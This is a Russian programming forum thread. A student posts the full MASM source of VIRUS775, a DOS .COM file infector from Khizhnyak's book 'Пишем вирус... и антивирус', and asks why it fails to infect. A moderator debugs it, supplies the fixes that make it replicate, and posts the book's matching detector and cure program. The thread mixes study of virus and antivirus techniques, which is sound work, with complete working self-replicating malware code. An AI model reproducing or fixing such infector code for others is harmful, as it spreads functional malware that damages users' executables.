Форум программистов, компьютерный форум, киберфорум
Assembler: DOS/Real Mode/16-bits
Войти
Регистрация
Восстановить пароль
 
Рейтинг 4.82/11: Рейтинг темы: голосов - 11, средняя оценка - 4.82
1 / 1 / 1
Регистрация: 07.01.2020
Сообщений: 5
1
MASM

Хижняк П.Л. "Пишем вирус... и антивирус" - не работает код из книги

15.02.2020, 17:56. Просмотров 1964. Ответов 4
Метки нет (Все метки)

Здравствуйте! Изучаю книгу Хижняка для написания курсовой и пишу параллельно с ним код для имитации работы вируса. По логике он "поражает" COM файлы и выводит строку в консоль, мол вирус в действии.

Для проверки его работоспособности я написала обычный COM файл "Hello World". После сборки вируса я решила протестить прогу, но никакого сообщения о заражении не получила. Кто может подсказать в чем проблема? Очень важно разобраться в этой книге, надеюсь на вашу помощь.
Вот код вируса, который был в книге:
Код из книги(MASM 5.00):
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
.8086
    PAGE      ,132
;******************************************************
; VIRUS775.ASM emulates virus activity for .COM files
;******************************************************
CSEG    segment
    assume cs:cseg,ds:cseg,es:cseg
    org 100h
START:
    db  0E9h
    dw  15h     ; Near jump to RESTORE_3_BYTES
ID  dw  0FFFFh
 
    org 110h
 
VIRUS:
    push    ds
    mov ax,cs
    db  00000101b   ; Add ax,imed
NEW_DS  dw  0FFFFh      ; 0FFFFh should be replaced
    mov ds,ax       ; Define new ds segment
 
RESTORE_3_BYTES:
    mov al,BYTES_3[0]   ; Restore first 3 bytes
    mov byte ptr cs:[100h],al
    mov al,BYTES_3[1]
    mov byte ptr cs:[101h],al
    mov al,BYTES_3[2]
    mov byte ptr cs:[102h],al
 
STORE_DTA:
    mov cx,100h
    mov bx,0
DTA_S:
    mov al,byte ptr cs:[bx]
 
    mov byte ptr DTA[bx],al
    inc bx
    loop    DTA_S
 
FIND_FIRST:
    lea dx,FMASK
    mov cx,00100000b    ; arc,dir,vol,sys,hid,r/o
    mov ah,4Eh
    int 21h     ; Find first .COM file
    jnc STORE_FNAME
    jmp ERR
 
FIND_NEXT:
    mov bx,HANDLE
    mov ah,3Eh
    int 21h     ; Close previous file
    mov HANDLE,0FFFFh
 
    mov ah,4Fh
    int 21h
    jnc STORE_FNAME
    jmp ERR
 
STORE_FNAME:
    cmp byte ptr cs:[95h],00000001b ; Test r/o attribute
    je  FIND_NEXT   ; if r/o is set, do not infect
    mov bx,0
 
NEXT_SYM:
    mov al,byte ptr cs:[bx+9Eh]
    mov FNAME[bx],al
    cmp byte ptr cs:[bx+9Eh],0
    je  SET_ATTRIB
    inc bx
    cmp bx,13
    jng NEXT_SYM
    jmp ERR
 
SET_ATTRIB:
    lea dx,FNAME
 
    mov cx,00100000b    ; arc,dir,vol,sys,hid,r/o
    mov ax,4301h
    int 21h     ; Set file attributes
    jnc READ_HANDLE
    jmp ERR
 
READ_HANDLE:
    lea dx,FNAME
    mov ax,3D02h    ; Read/write mode
    int 21h     ; Open a file
    jnc READ_3_BYTES
    jmp ERR
 
READ_3_BYTES:
    mov HANDLE,ax   ; Store handle from ax
    lea dx,BYTES_3
    mov bx,HANDLE
    mov cx,3        ; Number of bytes to read
 
    mov ah,3Fh
    int 21h     ; Read and store first 3 bytes
    jnc READ_FLEN
    jmp ERR
 
READ_FLEN:
    mov cx,0
    mov dx,0        ; NULL seek position in cx:dx
    mov bx,HANDLE
    mov al,2        ; Relative to EOF
    mov ah,42h      ; Get program length in dx:ax
    int 21h
    jnc CHECK_ID
    jmp ERR
 
CHECK_ID:
    mov FLENOLD,ax  ; Store length of file
 
    test    ax,00001111b
    jz  JUST
    or  ax,00001111b
    inc ax
 
JUST:
    mov FLEN,ax     ; Store corrected length of file
 
    cmp ax,64500
    jna CALC_DS
    jmp FIND_NEXT
 
CALC_DS:
    mov cl,4
    shr ax,cl       ; Calculate new ds segment difference
    dec ax
    mov byte ptr NEW_DS[0],al
    mov byte ptr NEW_DS[1],ah   ; Store new ds segment
 
    mov cx,0
    mov dx,FLENOLD
    dec dx
    mov bx,HANDLE
    mov al,0        ; Relative to EOF
    mov ah,42h
    int 21h     ; Set seek to last byte of file
    jnc READ_ID
    jmp ERR
 
READ_ID:
    lea dx,BYTES_3[3]
    mov bx,HANDLE
    mov cx,1
    mov ah,3Fh
    int 21h     ; Read last byte to BYTES_3[3] (ID='$')
    jnc TEST_ID
    jmp FIND_NEXT
 
TEST_ID:
    cmp BYTES_3[3],'$'
    jne NOT_INFECTED
    jmp FIND_NEXT   ; Check if file is infected
 
NOT_INFECTED:
 
    mov ax,FLEN     ; Calculate JMP address
    sub ax,03h
    mov JMP_L,al
    mov JMP_H,ah    ; Store new JMP address
 
    mov cx,0
    mov dx,FLEN
    mov bx,HANDLE
    mov ax,4200h    ; Set seek to corrected end of file
    int 21h
    jc  ERR
 
    lea dx,VIRUS
    mov cx,VIRLEN
    mov bx,HANDLE
    mov ah,40h
    int 21h     ; Write virus to file
    jc  ERR
 
WRITE_JMP:
    mov cx,0
    mov dx,0
    mov bx,HANDLE
    mov al,0        ; Relative to file start
    mov ah,42h
    int 21h     ; Set seek to 0
    jc  ERR
 
    lea dx,JMPVIR
    mov cx,3
    mov bx,HANDLE
    mov ah,40h
    int 21h     ; Write new JMP to file
    jc  ERR
 
PRINT_MSG:
    lea dx,MSG
    mov ah,09h
    int 21h     ; Print a message
 
ERR:
 
    cmp HANDLE,0FFFFh
    je  EXIT
 
CLOSE_FILE:
    mov bx,HANDLE
    mov ah,3Eh
    int 21h     ; Close  file
 
EXIT:
    cmp cs:[ID],0FFFFh
    je  GOTO_DOS
 
RESTORE_DTA:
    mov cx,100h
    mov bx,0
 
DTA_R:
    mov al,byte ptr DTA[bx]
    mov byte ptr cs:[bx],al
    inc bx
    loop    DTA_R
 
GOTO_START:
    mov ax,cs
    mov ds:[START_S],ax
    pop ds
    db  0EAh        ; Far jmp to START
    dw  0100h       ; START offset
START_S dw  (?)     ; START segment
 
GOTO_DOS:
    mov bx,4C00h
    int 21h
    
FMASK   db  '*.COM',0h
FNAME   db  12 dup (?),0h
FLENOLD dw  (?)     ; Length of file
FLEN    dw  (?)     ; Corrected length of file
HANDLE  dw  0FFFFh      ; File handle number
JMPVIR  db  0E9h        ; JMP code
JMP_L   db  (?)
 
JMP_H   db  (?)     ; 3 bytes for virus JMP
BYTES_3 db  3 dup (?)   ; Original 3 bytes
    db  (?)
DTA db  101h dup (?)
MSG db  0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
VIRLEN  equ $-VIRUS
 
CSEG    ends
    end START
Код COM файла "HelloWorld"
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
        TITLE COMFILE
_TEXT   SEGMENT
        ASSUME CS:_TEXT,DS:_TEXT,ES:_TEXT,SS:_TEXT
        ORG     100H
 
START:
 
    mov ah,9
    mov dx,offset hi
    int 21h
 
    mov ax,4c00h
    int 21h
 
    hi db 'HELLO','$'
 
_TEXT ENDS
END START
Очень нужно понять, почему он не сработал, кто может - поясните, пожалуйста.
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
15.02.2020, 17:56
Ответы с готовыми решениями:

Друзья! не работает код с версией файла в 2003 офисе, на 2010 все работает, суть: копирование из закрытой книги
Sub Zagruzka_dannyh() UserForm1.Label117.Visible = False UserForm1.Image48.Visible = False...

Друзья! не работает код с версией файла в 2003 офисе, на 2010 все работает, суть: копирование из закрытой книги
Sub Zagruzka_dannyh() UserForm1.Label117.Visible = False UserForm1.Image48.Visible = False...

Не работает код из книги
Доброго времени суток, я начинающий в С# и учусь по книге Head First C# Эндрю Стиллмена. Вот код,...

Не работает код из книги
# include<stdio.h> # define MAXLINE 1000 int getline(char line,int maxline); void copy(char...

4
Модератор
6681 / 3259 / 1307
Регистрация: 01.02.2015
Сообщений: 10,338
Записей в блоге: 1
15.02.2020, 20:12 2
Лучший ответ Сообщение было отмечено zxzxzxzxzxzx как решение

Решение

zxzxzxzxzxzx, а антивирус из той же книги вы уже набрали?

Я когда-то набирал исходники из этой книги. Сначала антивирус, а потом вирус.
С антивирусом чуть не поседел - TASM и MASM различными кодами реализуют инструкцию lea и собранные в TASM вирус и антивирус не позволяют антивирусу обнаружить вирус - не совпадает сигнатура.

Сравнил ваш исходник со своим. Вижу разницу
Assembler
233
    mov ax,4C00h
Добавлено через 41 минуту
Выполнил под отладчиком. Результат ошеломляет.

Вы будете удивлены - VIRUS775 признаком заражённости считает равенство символу '$' последнего байта проверяемого файла.
Т.е. ваш тестовый Hello.asm этот вирус не заразит.

Как же вы курсовик пишете не читая?

Добавлено через 7 минут
Для заражения:
1. hello.asm добавьте строку 16
Assembler
15
16
17
18
    hi db 'HELLO','$'
        db 0
_TEXT ENDS
END START
2. virus775.asm исправьте строку 233
Assembler
233
    mov ax,4C00h
Добавлено через 2 минуты
Но очень сильно рекомендую проверять работу вируса в отдельной папке (он заражает в пределах текущей папки) и создать и убедиться в работоспособности антивируса из книги - его нужно компилировать masm. Иначе разбудите древнее зло - не все антивирусы сейчас распознают данный вирус.

Добавлено через 37 минут
Я на всякий случай приложу свои наработки и поясню причины.

Когда-то я пробовал набирать и проверять работу вируса и антивируса из этой книги. На тот момент я внимательно прочитал книгу и понимал механизм работы этого зловреда. Первым делам набрал антивирус, а только потом - вирус.
После заражения контрольного файла попробовал его определить и вылечить, но антивирус из книги дал осечку.
Выяснилось, что в книге использовался MASM, а я работал с TASM - код вируса получался разным. Разобравшись с этим, я сделал пометку, что сигнатурой является 10 байт с адреса на 1 байт меньше, чем метка TEST_ID (в virus775.asm). Кроме того, правке подверглись константы SIGO3 и SIGFL (в anti775.asm).

Итак,
1. в virus775.asm в самый конец добавляю строки
Assembler
; Help to ANTI775
SIG     equ     TEST_ID-1
SIGO3   equ     BYTES_3-SIG
SIGFL   equ     FLENOLD-SIG
2. при компиляции virus775.asm ставлю ключи для получения листинга и ищу
- код возле метки TEST_ID
Код
    127	021A  E9 FF2F			     jmp     FIND_NEXT
    128	021D			     TEST_ID:
    129	021D  80 3E 02D6r 24		     cmp     BYTES_3[3],'$'
    130	0222  75 03			     jne     NOT_INFECTED
- значения добавленных констант
Код
    214				     ; Help to ANTI775
    215	      =CSEG:021C	     SIG     equ     TEST_ID-1
    216	      =00B7		     SIGO3   equ     BYTES_3-SIG
    217	      =00AE		     SIGFL   equ     FLENOLD-SIG
3. в anti775.asm уточняю сигнатуру, константы SIGO3 и SIGFL
Assembler
SIG    db       0FFh,080h,03Eh,0D6h,002h,024h,075h,003h,0E9h,025h
;SIG    db       0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
;SIG    db       0FFh,080h,03Eh,0D5h,002h,024h,075h,003h,0E9h,025h
       db       0            ; Virus signature (last byte)
SIGL   equ      $-SIG        ; Length of SIG string
SIGO   dw       (?)          ; Offset of SIG in file
SIGO3  dw       0B7h         ; Offset of old 3 bytes relative of SIG
;SIGO3  dw       0BAh         ; Offset of old 3 bytes relative of SIG
;SIGO3  dw       0B6h         ; Offset of old 3 bytes relative of SIG
SIGFL  dw       0AEh         ; Offset of old 3 file length relative of SIG
;SIGFL  dw       0B1h         ; Offset of old 3 file length relative of SIG
;SIGFL  dw       0ADh         ; Offset of old 3 file length relative of SIG
После этих уточнений антивирус из книги вылечит заражения.

Видно, что в моем варианте исходника программы anti775.asm три возможные сигнатуры и значения констант для разных условий компиляции (masm или tasm, версия компилятора).

Используя эту методику - подберите свои значения этих трёх параметров (SIG, SIGO3 и SIGFL).

Лечение - запуск программы с ключом "q":
anti775 q

Исходник anti775.asm
Кликните здесь для просмотра всего текста
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
        .8086
        PAGE    ,132
;********************************************************************
; ANTI775.ASM - program to find files infected by the "775" virus
;               and to restore these files to their original state
;********************************************************************
CSEG    segment
        assume cs:CSEG, ds:CSEG, es:CSEG
        org 100h
START:
        mov     SIG[10],0FFh ; Completes SIG string
READ_PARAM:
        cmp     BYTE PTR cs:[80h],0
        je      FIND_MODE    ; If no parameters, "find" mode
        mov     ax,ds
        mov     es,ax
        cld
        mov     al,'q'       ; 'q' - "find & cure mode" (MODE=1)
        mov     ch,0
        mov     cl,cs:[80h]  ; Length of UPA (from PSP)
        mov     di,81h       ; Offset of UPA (from PSP)
        repne   scasb
        je      CURE_MODE
FIND_MODE:
        mov     MODE,0
        jmp     ALLOC_MEM
CURE_MODE:
        mov     MODE,1
ALLOC_MEM:
        mov     ax,ds
        mov     es,ax
        mov     bx,1100h     ; Reallocate 68 K bytes
        mov     ah,4Ah
        int     21h
        jnc     ALLOCATED
NOT_ALLOCATED:
        lea     dx,NO_MEM
        mov     ah,09h
        int     21h          ; Print a message
        jmp     TO_DOS
NO_MEM  db      10,13,'Insufficient memory to run ANTI775',10,13,'$'
 
ALLOCATED:
       lea      ax,LBL
       mov      cl,4
       shr      ax,cl
       inc      ax
       mov      bx,ds
       add      ax,bx
       mov      FSEG,ax      ; Segment of program in memory
FIND_FIRST:
        lea     dx,FMASK     ; Mask of file name
        mov     cx,00100111b ; arc,dir,vol,sys,hid,r/o
        mov     ah,4Eh
        int     21h          ; Find first .COM file
        jnc     STORE_FNAME
        jmp     EXIT
FIND_NEXT:
        mov     bx,HANDLE
        mov     ah,3Eh
        int     21h          ; Close previous file
        mov     HANDLE,0FFFFh ; Note that file was closed
        mov     ah,4Fh
        int     21h          ; Find next file
        jnc     STORE_FNAME
        jmp     EXIT
STORE_FNAME:
        mov     bx,0
NEXT_SYM:
        mov     al,BYTE PTR cs:[bx+9Eh]
        mov     FNAME[bx],al
        cmp     BYTE PTR cs:[bx+9Eh],0
        je      SET_ATTRIB
        inc     bx
        cmp     bx,13
        jng     NEXT_SYM
        jmp     ERR
SET_ATTRIB:
        lea     dx,FNAME
        mov     cx,00100000b ; arc,dir,vol,sys,hid,r/o
        mov     ax,4301h
        int     21h          ; Set file attributes
        jnc     READ_HANDLE
        jmp     ERR
READ_HANDLE:
        lea     dx,FNAME
        mov     ax,3D02h     ; Read/write mode
        int     21h
        jnc     READ_FLEN
        jmp     ERR
READ_FLEN:
        mov     HANDLE,ax    ; Store handle from ax
        mov     cx,0
        mov     dx,0         ; NULL seek position in cx:dx
        mov     bx,HANDLE
        mov     ax,4202h     ; Get program length in dx:ax
        int     21h
        mov     FLEN,ax
        cmp     dx,0
        je      SET_FSTART
        mov     FLEN,0FFFFh
SET_FSTART:
        mov     bx,HANDLE
        mov     cx,0
        mov     dx,0         ; NULL seek position in cx:dx
        mov     ax,4200h
        int     21h          ; Set seek pointer to start of file
READ_FILE:
        mov     bx,HANDLE
        mov     cx,FLEN
        mov     dx,0
        cmp     FLEN,8001h   ; If length of file<32769
        jb      READ_REST    ; Read file in one step
        mov     cx,8000h
        push    ds
        mov     dx,0
        mov     ax,FSEG
        mov     ds,ax
        mov     ah,3Fh
        int     21h          ; Read 32768 bytes from file to buffer
        pop     ds
        mov     cx,FLEN
        mov     dx,8000h
        sub     cx,8000h     ; Prepare to read the rest of the file
READ_REST:
        mov     bx,HANDLE
        push    ds
        mov     ax,FSEG
        mov     ds,ax        ; ds:dx - buffer address
        mov     ah,3Fh
        int     21h          ; read and store entire file
        pop     ds
        jnc     CHECK_SIG
        jmp     ERR
CHECK_SIG:
        mov     ax,FSEG
        mov     es,ax
        mov     di,0         ; es:di - address of .COM file
        cld
        mov     cx,FLEN
        sub     cx,SIGL
        mov     al,0FFh      ; al=FF (hexadecimal)
NEXT_FF:
        repne   scasb
        je      FOUND_FF
NO_FF:
        jmp     FIND_NEXT
FOUND_FF:
        push    cx           ; Store counter for next 0FFh search
        push    di           ; Store di      for next 0FFh search
        dec     di           ; es:di - address of 0FFh found
        mov     SIGO,di      ; Store offset of 0FFh found
        lea     si,SIG       ; ds:si - address of SIG string
        mov     cx,SIGL      ; cx - length of SIG string
        repe    cmpsb        ; Compare SIG with string in file
        je      FOUND_SIG    ;
        pop     di           ; Restore di      for next 0FFh search
        pop     cx           ; Restore counter for next 0FFh search
        jmp     NEXT_FF
FOUND_SIG:
        inc     FILES        ; Count infected files
        lea     dx,WARNING
        mov     ah,09h
        int     21h          ; Print warning message
BLANK:
        mov     cx,12        ; Width of file name field
        mov     bx,0
REP32:
        mov     FNAME[bx],32
        inc     bx
        loop    REP32        ; Fill field with spaces
        cmp     MODE,1       ; WAS there 'q' in command line
        je      CURE
        jmp     FIND_NEXT    ; Do not cure !
WARNING db      10,13,'File '
FNAME   db      12 dup (32),0 ; File name ASCIIZ string
        db      ' is infected by the 775 virus',10,13,'$'
CURE:
        mov     bx,SIGO      ; SIGO  - offset of virus signature
        add     bx,SIGO3     ; SIGO3 - 3 bytes relative to SIG
        mov     al,BYTE PTR es:[bx] ; es:bx - addres of original 3 bytes
        mov     BYTE PTR es:[0],al
        mov     al,BYTE PTR es:[bx+1]
        mov     BYTE PTR es:[1],al
        mov     al,BYTE PTR es:[bx+2]
        mov     BYTE PTR es:[2],al ; Three bytes where restored
        mov     bx,SIGFL
        add     bx,SIGO
        mov     ax,WORD PTR es:[bx] ; Store old length og file to
                                    ; be cured
        mov     FLENOLD,ax
SAVE_FILE:
        mov     cx,0
        mov     dx,0         ; dx:cx - position of seek pointer (0)
        mov     bx,HANDLE
        mov     ax,4200h
        int     21h          ; Set seek pointer to start of file
        mov     cx,FLENOLD
        mov     bx,HANDLE
        push    ds
        mov     ax,FSEG
        mov     ds,ax
        mov     dx,0         ; ds:dx - address of file in memory
        mov     ah,40h
        int     21h          ; Write cured file to disk
CUT_FILE:
       mov      cx,0
       mov      ah,40h
       int      21h          ; Cut file to new length
       pop      ds
       lea      dx,CURED
       mov      ah,09h
       int      21h          ; Print "Cured" message
       jmp      FIND_NEXT
CURED  db       'File was successfuly cured...',10,13,'$'
ERR:
       lea      dx,NOMORE
       mov      ah,09h
       int      21h
       mov      al,2         ; Return code 2 (Error, no files found)
       jmp      TO_DOS
NOMORE db       10,13,'Can not find infected .COM files...',10,13,'$'
EXIT:
       cmp      FILES,0
       je       NOFILES
FNUM_OUT:
       mov      al,FILES
       add      al,30h
       mov      ah,0Eh
       int      10h          ; Print number of files (0-9)
       lea      dx,MSGC
       cmp      MODE,1       ; If MODE=1, mode is "cure"
       je       MSGCF
       lea      dx,MSGF
MSGCF:
       mov      ah,09h
       int      21h          ; Print 'File(s) cured' message
       mov      al,1         ; Return code 1 (found infection files)
       jmp      TO_DOS
MSGC   db       ' File(s) cured',10,13,'$'
MSGF   db       ' File(s) infected',10,13,'$'
NOFILES:
      lea       dx,GOODBY
       mov      ah,09h
       int      21h
       mov      al,1         ; Return code 0 (No files infected)
       jmp      TO_DOS
GOODBY db       10,13,'No infected files found...',10,13,'$'
TO_DOS:
       cmp      HANDLE,0FFFFh
       je       TERMINATE
CLOSE_FILE:
       mov      bx,HANDLE
       mov      ah,3Eh
       int      21h
TERMINATE:                   ; Free allocated memory
       mov      ah,4Ch
       int      21h          ; Terminated program (al - return code)
MODE   db       0            ; 0 - find, 1 - find & cure
FILES  db       0            ; Number of infected files
SIG    db       0FFh,080h,03Eh,0D6h,002h,024h,075h,003h,0E9h,025h
;SIG    db       0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
;SIG    db       0FFh,080h,03Eh,0D5h,002h,024h,075h,003h,0E9h,025h
       db       0            ; Virus signature (last byte)
SIGL   equ      $-SIG        ; Length of SIG string
SIGO   dw       (?)          ; Offset of SIG in file
SIGO3  dw       0B7h         ; Offset of old 3 bytes relative of SIG
;SIGO3  dw       0BAh         ; Offset of old 3 bytes relative of SIG
;SIGO3  dw       0B6h         ; Offset of old 3 bytes relative of SIG
SIGFL  dw       0AEh         ; Offset of old 3 file length relative of SIG
;SIGFL  dw       0B1h         ; Offset of old 3 file length relative of SIG
;SIGFL  dw       0ADh         ; Offset of old 3 file length relative of SIG
FMASK  db       '*.COM',0    ; File name mask
FLEN   dw       (?)          ; Current length of tested file
FLENOLD dw      (?)          ; Old length of file to be cured
HANDLE dw       0FFFFh       ; File handle number
ATRIB db        (?)          ; File attribute
FSEG  dw        (?)          ; Segment to store file
LBL   db        '$'          ; Security label
CSEG    ends
        end     START
1
1 / 1 / 1
Регистрация: 07.01.2020
Сообщений: 5
15.02.2020, 20:42  [ТС] 3
ФедосеевПавел, СПАСИБИЩЕ вам огромное за разъяснения, очень сильно помогли, все заработало. Я попробовала еще заразить не свой написанный .com а сам command.com, который автор и инфицировал, с ним всё вышло как надо (работала изначально с masm'ом).

Ещё дело было в том, что в специально созданной папке для проверки почему-то не отображались .com файлы, когда вводила dir. Когда перенесла файлы в другую созданную папку - всё отобразилось и заработало.
0
Модератор
6681 / 3259 / 1307
Регистрация: 01.02.2015
Сообщений: 10,338
Записей в блоге: 1
15.02.2020, 20:49 4
Вы хоть вылечили command.com?
0
1 / 1 / 1
Регистрация: 07.01.2020
Сообщений: 5
15.02.2020, 21:09  [ТС] 5
Лучший ответ Сообщение было отмечено ФедосеевПавел как решение

Решение

ФедосеевПавел, конечно)) всё делала в отдельной папке и даже сохранила оригинал command.com на случай, если бы не получилось его антивирусником вылечить. Но антивирусник с первого раза его нашел и вылечил, вес стал каким и был изначально. Проверила на других .com файлах - всё отлично работает.
1
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
15.02.2020, 21:09

Заказываю контрольные, курсовые, дипломные и любые другие студенческие работы здесь.

не работает код из книги класс
сейчас учусь программированию по книге и дошел до классов. суть классов немного разобрался, но...

Не работает код из книги glsl cookbook
#include &lt;GL/gl/glew.h&gt; #include &lt;GL/GLFW/glfw3.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; ...

Не работает код с Функцией error и библиотекой std_lib_facilities из книги Страуструпа
Я новичок в программировании. Учу по книге Страуструпа, там вначале нужно было подключить...

Почему не работает следующий код из книги Страуструпа (конструктор значений по умолчанию)
#include&lt;iostream&gt; using namespace std; class Date { int a, b; static Date default_date;...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
5
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2020, vBulletin Solutions, Inc.